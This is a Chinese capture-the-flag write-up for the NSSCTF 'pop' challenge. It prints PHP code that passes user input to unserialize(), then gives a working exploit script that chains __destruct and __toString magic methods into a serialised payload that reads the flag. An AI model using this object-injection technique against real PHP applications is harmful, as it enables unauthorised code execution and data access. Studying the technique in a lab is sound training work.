NSSCTF [SWPUCTF 2021 新生赛]pop
1.[NSSCTF 2022 Spring Recruit]ezgame2.NSSCTF [GXYCTF 2019]Ping Ping Ping3.NSSCTF [SWPUCTF 2021 新生赛]hardrce4.NSSCTF [SWPUCTF 2021 新生赛]easyupload3.05.Nssctf [SWPUCTF 2021 新生赛]error
6.NSSCTF [SWPUCTF 2021 新生赛]pop
7.NSSCFT [SWPUCTF 2022 新生赛]ez_ez_php8.NSSCTF [SWPUCTF 2021 新生赛]crypto89.NSSCTF [HNCTF 2022 Week1]Interesting_include10.NSSCTF [鹤城杯 2021]EasyP11.NSSCTF [NISACTF 2022]babyserialize进入就看见一串代码,直接开启代审
<?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){//通过该函数来获得flag if($this->admin === 'w44m' && $this->passwd ==='08067'){//当admin=w44m,passwd=08067时包含flag.php include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } class w22m{ public $w00m; public function __destruct(){//__destruct() 类的析构函数,在对象被销毁时被调用 echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){//__toString(),这个方法的对象被当作字符串时执行 $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET['w00m']; unserialize($w00m);//对w00m进行反序列化 ?>
通过上面的分析我们知道,flag.php被包含在Getflag这个方法中,我们需要使用某种手段来调用它,而w33m类里面有__toString()方法,当对象被当作字符串时执行。因此我们可以通过设置w44m的两个对象admin和passwd分别为w44m和08067,然后在w22m中赋值$w00m为w33m,并通过w22m调用w33m,分别为w33m的两个对象赋值,$w00m->w44m,$w22m->Getflag,,最后对w22m进行序列化和url加密。最终得到以下exp:
<?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m;} class w33m{ public $w00m; public $w22m;} $a=new w22m(); $a->w00m=new w33m(); $a->w00m->w00m=new w44m(); $a->w00m->w22m='Getflag'; $b=urlencode(serialize($a)); echo $b;
给w00m传递刚刚运行的结果,获取到flag。
合集:
NSSCTF诺赛斯
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!